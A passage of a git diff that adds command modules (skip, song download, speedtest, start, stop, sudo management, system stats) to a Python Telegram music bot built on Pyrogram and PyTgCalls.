+ reply_markup=key,
+ disable_web_page_preview=True,
+ )
+ except Exception as e:
+ await message.reply_text(str(e))
diff --git a/GJ516Music/Modules/skip.py b/GJ516Music/Modules/skip.py
new file mode 100644
index 0000000..b081328
--- /dev/null
+++ b/GJ516Music/Modules/skip.py
@@ -0,0 +1,77 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+from pytgcalls.types import AudioPiped, HighQualityAudio
+
+from GJ516Music import BOT_USERNAME, app, GJ516db, pytgcalls
+from GJ516Music.Helpers import _clear_, admin_check, buttons, close_key, gen_thumb
+
+
+@app.on_message(filters.command(["skip", "next"]) & filters.group)
+@admin_check
+async def skip_str(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ get = GJ516db.get(message.chat.id)
+ if not get:
+ try:
+ await _clear_(message.chat.id)
+ await pytgcalls.leave_group_call(message.chat.id)
+ await message.reply_text(
+ text=f"𝙎𝙩𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀\n\n**𝙉𝙤 𝙈𝙤𝙧𝙚 𝙌𝙪𝙚𝙪𝙚𝙙 𝙏𝙧𝙖𝙘𝙠𝙨 𝙄𝙣** {message.chat.title}, **𝙇𝙚𝙖𝙫𝙞𝙣𝙜 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩.**",
+ reply_markup=close_key,
+ )
+ except:
+ return
+ else:
+ title = get[0]["title"]
+ duration = get[0]["duration"]
+ file_path = get[0]["file_path"]
+ videoid = get[0]["videoid"]
+ req_by = get[0]["req"]
+ user_id = get[0]["user_id"]
+ get.pop(0)
+
+ stream = AudioPiped(file_path, audio_parameters=HighQualityAudio())
+ try:
+ await pytgcalls.change_stream(
+ message.chat.id,
+ stream,
+ )
+ except:
+ await _clear_(message.chat.id)
+ return await pytgcalls.leave_group_call(message.chat.id)
+
+ await message.reply_text(
+ text=f"𝙎𝙩𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀",
+ reply_markup=close_key,
+ )
+ img = await gen_thumb(videoid, user_id)
+ return await message.reply_photo(
+ photo=img,
+ caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n**💡𝙏𝙞𝙩𝙡𝙚:** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n **👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮:** {req_by}",
+ reply_markup=buttons,
+ )
diff --git a/GJ516Music/Modules/song.py b/GJ516Music/Modules/song.py
new file mode 100644
index 0000000..e4cf4dd
--- /dev/null
+++ b/GJ516Music/Modules/song.py
@@ -0,0 +1,119 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+
+import requests
+import yt_dlp
+from pyrogram import filters
+from pyrogram.enums import ChatType
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+from youtube_search import YoutubeSearch
+
+from GJ516Music import BOT_MENTION, BOT_USERNAME, LOGGER, app
+
+
+@app.on_message(filters.command(["song", "vsong", "video", "music"]))
+async def song(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ m = await message.reply_text("🔎")
+
+ query = "".join(" " + str(i) for i in message.command[1:])
+ ydl_opts = {"format": "bestaudio[ext=m4a]"}
+ try:
+ results = YoutubeSearch(query, max_results=5).to_dict()
+ link = f"https://youtube.com{results[0]['url_suffix']}"
+ title = results[0]["title"][:40]
+ thumbnail = results[0]["thumbnails"][0]
+ thumb_name = f"thumb{title}.jpg"
+ thumb = requests.get(thumbnail, allow_redirects=True)
+ open(thumb_name, "wb").write(thumb.content)
+ duration = results[0]["duration"]
+
+ except Exception as ex:
+ LOGGER.error(ex)
+ return await m.edit_text(
+ f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙁𝙚𝙩𝙘𝙝 𝙏𝙧𝙖𝙘𝙠 𝙁𝙧𝙤𝙢 𝙔𝙩-𝘿𝙡.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`"
+ )
+
+ await m.edit_text("𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙞𝙣𝙜 𝙎𝙤𝙣𝙜,\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩...")
+ try:
+ with yt_dlp.YoutubeDL(ydl_opts) as ydl:
+ info_dict = ydl.extract_info(link, download=False)
+ audio_file = ydl.prepare_filename(info_dict)
+ ydl.process_info(info_dict)
+ rep = f"𒀭 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:23]}]({link})\n𒀭 **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}`\n𒀭 **𝙐𝙥𝙡𝙤𝙖𝙙𝙚𝙙 𝘽𝙮 :** {BOT_MENTION}"
+ secmul, dur, dur_arr = 1, 0, duration.split(":")
+ for i in range(len(dur_arr) - 1, -1, -1):
+ dur += int(dur_arr[i]) * secmul
+ secmul *= 60
+ try:
+ visit_butt = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚",
+ url=link,
+ )
+ ]
+ ]
+ )
+ await app.send_audio(
+ chat_id=message.from_user.id,
+ audio=audio_file,
+ caption=rep,
+ thumb=thumb_name,
+ title=title,
+ duration=dur,
+ reply_markup=visit_butt,
+ )
+ if message.chat.type != ChatType.PRIVATE:
+ await message.reply_text(
+ "𝙋𝙡𝙚𝙖𝙨𝙚 𝘾𝙝𝙚𝙘𝙠 𝙔𝙤𝙪𝙧 𝙋𝙢, 𝙎𝙚𝙣𝙩 𝙏𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙎𝙤𝙣𝙜 𝙏𝙝𝙚𝙧𝙚."
+ )
+ except:
+ start_butt = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="𝘾𝙡𝙞𝙘𝙠 𝙃𝙚𝙧𝙚",
+ url=f"https://t.me/{BOT_USERNAME}?start",
+ )
+ ]
+ ]
+ )
+ return await m.edit_text(
+ text="𝘾𝙡𝙞𝙘𝙠 𝙊𝙣 𝙏𝙝𝙚 𝘽𝙪𝙩𝙩𝙤𝙣 𝘽𝙚𝙡𝙤𝙬 𝘼𝙣𝙙 𝙎𝙩𝙖𝙧𝙩 𝙈𝙚 𝙁𝙤𝙧 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙎𝙤𝙣𝙜.",
+ reply_markup=start_butt,
+ )
+ await m.delete()
+ except:
+ return await m.edit_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙐𝙥𝙡𝙤𝙖𝙙 𝘼𝙪𝙙𝙞𝙤 𝙊𝙣 𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢 𝙎𝙚𝙧𝙫𝙚𝙧𝙨.")
+
+ try:
+ os.remove(audio_file)
+ os.remove(thumb_name)
+ except Exception as ex:
+ LOGGER.error(ex)
diff --git a/GJ516Music/Modules/speedtest.py b/GJ516Music/Modules/speedtest.py
new file mode 100644
index 0000000..10d3959
--- /dev/null
+++ b/GJ516Music/Modules/speedtest.py
@@ -0,0 +1,67 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+
+import speedtest
+from pyrogram import filters
+
+from GJ516Music import SUDOERS, app
+
+
+def testspeed(m):
+ try:
+ test = speedtest.Speedtest()
+ test.get_best_server()
+ m = m.edit("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**")
+ test.download()
+ m = m.edit("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝙐𝙥𝙡𝙤𝙖𝙙 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**")
+ test.upload()
+ test.results.share()
+ result = test.results.dict()
+ m = m.edit("**𝙎𝙝𝙖𝙧𝙞𝙣𝙜 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙍𝙚𝙨𝙪𝙡𝙩𝙨...**")
+ except Exception as e:
+ return m.edit(e)
+ return result
+
+
+@app.on_message(filters.command(["speedtest", "spt"]) & SUDOERS)
+async def speedtest_function(_, message):
+ m = await message.reply_text("**𝙍𝙪𝙣𝙣𝙞𝙣𝙜 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩...**")
+ loop = asyncio.get_event_loop()
+ result = await loop.run_in_executor(None, testspeed, m)
+ output = f"""**𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙍𝙚𝙨𝙪𝙡𝙩𝙨** ✯
+
+**❥͜͡𝗖𝗹𝗶𝗲𝗻𝘁 :**
+**❁ __𝙄𝙨𝙥 :__** {result['client']['isp']}
+**❁ __𝘾𝙤𝙪𝙣𝙩𝙧𝙮 :__** {result['client']['country']}
+
+**❥͜͡𝗦𝗲𝗿𝘃𝗲𝗿 :**
+**❁ __𝙉𝙖𝙢𝙚 :__** {result['server']['name']}
+**❁ __𝘾𝙤𝙪𝙣𝙩𝙧𝙮 :__** {result['server']['country']}, {result['server']['cc']}
+**❁ __𝙎𝙥𝙤𝙣𝙨𝙤𝙧 :__** {result['server']['sponsor']}
+**❁ __𝙇𝙖𝙩𝙚𝙣𝙘𝙮 :__** {result['server']['latency']}
+**❁ __𝙋𝙞𝙣𝙜 :__** {result['ping']}"""
+ msg = await app.send_photo(
+ chat_id=message.chat.id, photo=result["share"], caption=output
+ )
+ await m.delete()
diff --git a/GJ516Music/Modules/start.py b/GJ516Music/Modules/start.py
new file mode 100644
index 0000000..058f432
--- /dev/null
+++ b/GJ516Music/Modules/start.py
@@ -0,0 +1,103 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.enums import ChatType, ParseMode
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+from youtubesearchpython.__future__ import VideosSearch
+
+import config
+from GJ516Music import BOT_MENTION, BOT_NAME, app
+from GJ516Music.Helpers import gp_buttons, pm_buttons
+from GJ516Music.Helpers.dossier import *
+
+
+@app.on_message(filters.command(["start"]) & ~filters.forwarded)
+@app.on_edited_message(filters.command(["start"]) & ~filters.forwarded)
+async def GJ516_st(_, message: Message):
+ if message.chat.type == ChatType.PRIVATE:
+ if len(message.text.split()) > 1:
+ cmd = message.text.split(None, 1)[1]
+ if cmd[0:3] == "inf":
+ m = await message.reply_text("🔎")
+ query = (str(cmd)).replace("info_", "", 1)
+ query = f"https://www.youtube.com/watch?v={query}"
+ results = VideosSearch(query, limit=1)
+ for result in (await results.next())["result"]:
+ title = result["title"]
+ duration = result["duration"]
+ views = result["viewCount"]["short"]
+ thumbnail = result["thumbnails"][0]["url"].split("?")[0]
+ channellink = result["channel"]["link"]
+ channel = result["channel"]["name"]
+ link = result["link"]
+ published = result["publishedTime"]
+ searched_text = f"""
+➻ **𝗧𝗿𝗮𝗰𝗸 𝗜𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻**
+
+📌 **𝙏𝙞𝙩𝙡𝙚 :** {title}
+
+⏳ **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** {duration} 𝙈𝙞𝙣
+👀 **𝙑𝙞𝙚𝙬𝙨 :** `{views}`
+⏰ **𝙋𝙪𝙗𝙡𝙞𝙨𝙝𝙚𝙙 𝙊𝙣 :** {published}
+🔗 **𝙇𝙞𝙣𝙠 :** [ᴡᴀᴛᴄʜ ᴏɴ ʏᴏᴜᴛᴜʙᴇ]({link})
+🎥 **𝘾𝙝𝙖𝙣𝙣𝙚𝙡 :** [{channel}]({channellink})
+
+💖 𝙎𝙚𝙖𝙧𝙘𝙝 𝙋𝙤𝙬𝙚𝙧𝙚𝙙 𝘽𝙮 ⚡︎ {BOT_NAME}"""
+ key = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚", url=link),
+ InlineKeyboardButton(
+ text="𝙂𝙧𝙤𝙪𝙥", url=config.SUPPORT_CHAT
+ ),
+ ],
+ ]
+ )
+ await m.delete()
+ return await app.send_photo(
+ message.chat.id,
+ photo=thumbnail,
+ caption=searched_text,
+ parse_mode=ParseMode.MARKDOWN,
+ reply_markup=key,
+ )
+ else:
+ await message.reply_photo(
+ photo=config.START_IMG,
+ caption=PM_START_TEXT.format(
+ message.from_user.first_name,
+ BOT_MENTION,
+ ),
+ reply_markup=InlineKeyboardMarkup(pm_buttons),
+ )
+ else:
+ await message.reply_photo(
+ photo=config.START_IMG,
+ caption=START_TEXT.format(
+ message.from_user.first_name,
+ BOT_MENTION,
+ message.chat.title,
+ config.SUPPORT_CHAT,
+ ),
+ reply_markup=InlineKeyboardMarkup(gp_buttons),
+ )
diff --git a/GJ516Music/Modules/stop.py b/GJ516Music/Modules/stop.py
new file mode 100644
index 0000000..978d2c8
--- /dev/null
+++ b/GJ516Music/Modules/stop.py
@@ -0,0 +1,46 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from GJ516Music import app, pytgcalls
+from GJ516Music.Helpers import _clear_, admin_check, close_key
+
+
+@app.on_message(filters.command(["stop", "end"]) & filters.group)
+@admin_check
+async def stop_str(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ try:
+ await _clear_(message.chat.id)
+ await pytgcalls.leave_group_call(message.chat.id)
+ except:
+ pass
+
+ return await message.reply_text(
+ text=f"**𝙎𝙩𝙚𝙖𝙢 𝙀𝙣𝙙𝙚𝙙/𝙎𝙩𝙤𝙥𝙥𝙚𝙙** \n│ \n└𝘽𝙮 : {message.from_user.mention} ",
+ reply_markup=close_key,
+ )
diff --git a/GJ516Music/Modules/sudoers.py b/GJ516Music/Modules/sudoers.py
new file mode 100644
index 0000000..7f973e8
--- /dev/null
+++ b/GJ516Music/Modules/sudoers.py
@@ -0,0 +1,132 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from config import OWNER_ID
+from GJ516Music import SUDOERS, app
+
+
+@app.on_message(filters.command(["addsudo"]) & filters.user(OWNER_ID))
+async def sudoadd(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ if not message.reply_to_message:
+ if len(message.command) != 2:
+ return await message.reply_text(
+ "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝙖 𝙐𝙨𝙚𝙧'𝙨 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚/𝙐𝙨𝙚𝙧 𝙄𝙙."
+ )
+ user = message.text.split(None, 1)[1]
+ if "@" in user:
+ user = user.replace("@", "")
+ user = await app.get_users(user)
+ if int(user.id) in SUDOERS:
+ return await message.reply_text(f"» {user.mention} 𝙄𝙨 𝘼𝙡𝙧𝙚𝙖𝙙𝙮 𝘼 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧.")
+ try:
+ SUDOERS.add(int(user.id))
+ await message.reply_text(f"𝘼𝙙𝙙𝙚𝙙 {user.mention} 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩.")
+ except:
+ return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘼𝙙𝙙 𝙐𝙨𝙚𝙧 𝙞𝙣 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.")
+
+ if message.reply_to_message.from_user.id in SUDOERS:
+ return await message.reply_text(
+ f"» {message.reply_to_message.from_user.mention} 𝙄𝙨 𝘼𝙡𝙧𝙚𝙖𝙙𝙮 𝘼 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧."
+ )
+ try:
+ SUDOERS.add(message.reply_to_message.from_user.id)
+ await message.reply_text(
+ f"𝘼𝙙𝙙𝙚𝙙 {message.reply_to_message.from_user.mention} 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩"
+ )
+ except:
+ return await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘼𝙙𝙙 𝙐𝙨𝙚𝙧 𝙞𝙣 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.")
+
+
+@app.on_message(filters.command(["delsudo", "rmsudo"]) & filters.user(OWNER_ID))
+async def sudodel(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ if not message.reply_to_message:
+ if len(message.command) != 2:
+ return await message.reply_text(
+ "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝙖 𝙐𝙨𝙚𝙧'𝙨 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚/𝙐𝙨𝙚𝙧 𝙄𝙙."
+ )
+ user = message.text.split(None, 1)[1]
+ if "@" in user:
+ user = user.replace("@", "")
+ user = await app.get_users(user)
+ if int(user.id) not in SUDOERS:
+ return await message.reply_text(
+ f" {user.mention} 𝙄𝙨 𝙉𝙤𝙩 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩."
+ )
+ try:
+ SUDOERS.remove(int(user.id))
+ return await message.reply_text(
+ f"𝙍𝙚𝙢𝙤𝙫𝙚𝙙 {user.mention} 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩 ۪۪̥°"
+ )
+ except:
+ return await message.reply_text(f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙍𝙚𝙢𝙤𝙫𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.")
+ else:
+ user_id = message.reply_to_message.from_user.id
+ if int(user_id) not in SUDOERS:
+ return await message.reply_text(
+ f" {message.reply_to_message.from_user.mention} 𝙄𝙨 𝙉𝙤𝙩 𝙄𝙣 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩."
+ )
+ try:
+ SUDOERS.remove(int(user_id))
+ return await message.reply_text(
+ f"𝙍𝙚𝙢𝙤𝙫𝙚𝙙 {message.reply_to_message.from_user.mention} 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩 "
+ )
+ except:
+ return await message.reply_text(f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙍𝙚𝙢𝙤𝙫𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤𝙚𝙧𝙨.")
+
+
+@app.on_message(filters.command(["sudolist", "sudoers", "sudo"]))
+async def sudoers_list(_, message: Message):
+ hehe = await message.reply_text("𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧 𝙇𝙞𝙨𝙩..")
+ text = "🥀 **𝙊𝙬𝙣𝙚𝙧 :**\n"
+ count = 0
+ user = await app.get_users(OWNER_ID)
+ user = user.first_name if not user.mention else user.mention
+ count += 1
+ text += f"{count}➜ {user}\n"
+ smex = 0
+ for user_id in SUDOERS:
+ if user_id != OWNER_ID:
+ try:
+ user = await app.get_users(user_id)
+ user = user.first_name if not user.mention else user.mention
+ if smex == 0:
+ smex += 1
+ text += "\n✨ **𝙎𝙪𝙙𝙤𝙚𝙧𝙨 :**\n"
+ count += 1
+ text += f"{count}➜ {user}\n"
+ except Exception:
+ continue
+ if not text:
+ await message.reply_text("𝙉𝙤 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙁𝙤𝙪𝙣𝙙.")
+ else:
+ await hehe.edit_text(text)
diff --git a/GJ516Music/Modules/sysstats.py b/GJ516Music/Modules/sysstats.py
new file mode 100644
index 0000000..af699cd
--- /dev/null
+++ b/GJ516Music/Modules/sysstats.py
@@ -0,0 +1,115 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import platform
+import re
+import socket
+import uuid
+from sys import version as pyver
+
+import psutil
+from pyrogram import __version__ as pyrover
+from pyrogram import filters
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+from pytgcalls.__version__ import __version__ as pytgver
+
+from GJ516Music import BOT_NAME, SUDOERS, app
+from GJ516Music.Modules import ALL_MODULES
+
+
+@app.on_message(filters.command(["stats", "sysstats"]) & SUDOERS)
+async def sys_stats(_, message: Message):
+ sysrep = await message.reply_text(
+ f"𝙂𝙚𝙩𝙩𝙞𝙣𝙜 {BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨, 𝙄𝙩'𝙡𝙡 𝙏𝙖𝙠𝙚 𝘼 𝙒𝙝𝙞𝙡𝙚..."
+ )
+ try:
+ await message.delete()
+ except:
+ pass
+ sudoers = len(SUDOERS)
+ mod = len(ALL_MODULES)
+ hostname = socket.gethostname()
+ ip_address = socket.gethostbyname(socket.gethostname())
+ architecture = platform.machine()
+ processor = platform.processor()
+ mac_address = ":".join(re.findall("..", "%012x" % uuid.getnode()))
+ sp = platform.system()
+ ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " 𝙂𝘽"
+ p_core = psutil.cpu_count(logical=False)
+ t_core = psutil.cpu_count(logical=True)
+ try:
+ cpu_freq = psutil.cpu_freq().current
+ if cpu_freq >= 1000:
+ cpu_freq = f"{round(cpu_freq / 1000, 2)}𝙂𝙃𝙕"
+ else:
+ cpu_freq = f"{round(cpu_freq, 2)}𝙈𝙃𝙕"
+ except:
+ cpu_freq = "𝗙𝗮𝗶𝗹𝗲𝗱 𝗧𝗼 𝗙𝗲𝘁𝗰𝗵"
